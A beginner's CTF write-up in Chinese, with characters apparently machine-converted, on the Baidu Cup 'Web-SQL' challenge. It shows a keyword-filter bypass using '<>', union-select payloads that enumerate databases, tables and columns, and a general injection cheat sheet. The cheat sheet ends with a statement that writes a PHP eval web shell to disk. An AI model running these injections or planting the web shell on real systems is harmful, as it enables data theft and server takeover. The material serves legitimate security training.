天天看點

“百度杯” CTF比賽 九月場 Web-SQL

通路題目網址

  • 得到提示:

    flag{在資料庫中}

    ,且網址為

    xxx.ichunqiu.com/index.php?id=1

    ,符合sql注入形式。
  • 按照慣例檢視源代碼,提示

    SELECT * FROM info WHERE id=1

    ,為數字型注入

尋找漏洞

  • ?id = 1 and 1 = 1

    :提示

    inj code!

    ,多次測試,發現過濾了

    and

    or

    select

    order

  • 查詢大佬wp得知此處繞過的方法為在敏感詞中間加入

    <>

    ,然後就可以進行正常手工注入了。

擷取flag

  1. ?id = 1 ord<> by 3

    :回顯正常,表明查詢三個字段
  2. ?id = 1 union sel<>ect 1, 2, 3

    : 出現回顯2,表明漏洞出現在第2的字段上
  3. 擷取資料庫名

    ?id=1 union sel<>ect 1, database(), 3

    :回顯資料庫名為sqli
  4. 擷取表名

    ?id=1 union sel<>ect 1, table_name, 3 from information_schema.tables where table_schema=database()

    :回顯表名:info、users
  5. 擷取字段

    ?id=1 union sel<>ect 1, column_name, 3 from information_schema.columns where table_name='info'

    :回顯字段:id、title、flAg_T5ZNdrm
  6. 擷取flag

    ?id=1 union sel<>ect 1, flAg_T5ZNdrm, 3 from info

    即可獲得flag。

mysql union select注入回顧

  1. union語句一定要保證前後查詢字段相同,是以一般先通過order by爆破字段個數。(如4個字段)

    order by 4

  2. 爆破字段位置,檢視出現漏洞的位置在哪

    union select 1,2,3,4

  3. 利用内置函數爆破資料庫資訊:version() database() user() @@global.version_compile_os

    union select version(),database(),user(), @@global.version_compile_os

  4. 暴庫:mysql>5.0有内置庫information_schema,存儲着mysql所有的内置庫和表結構資訊。

    查詢存在的資料庫:

    union select 1,2,3,schema_name from information_schema.schemata

  5. 暴庫:猜表

    union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()

  6. 暴庫:猜字段

    union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='表名'

  7. 暴庫:猜内容

    union select 1,2,3,字段名 from 表名 limit 0,1

  8. 直接寫馬

    條件1:知道站點實體路徑

    條件2:有足夠大的權限

    條件3:magic_quotes_gpc()=OFF

    select '<?php eval($_POST[cmd]);?>' into file 'D:\\out.php'

================================================================================

小白成長記,大佬請指點。

繼續閱讀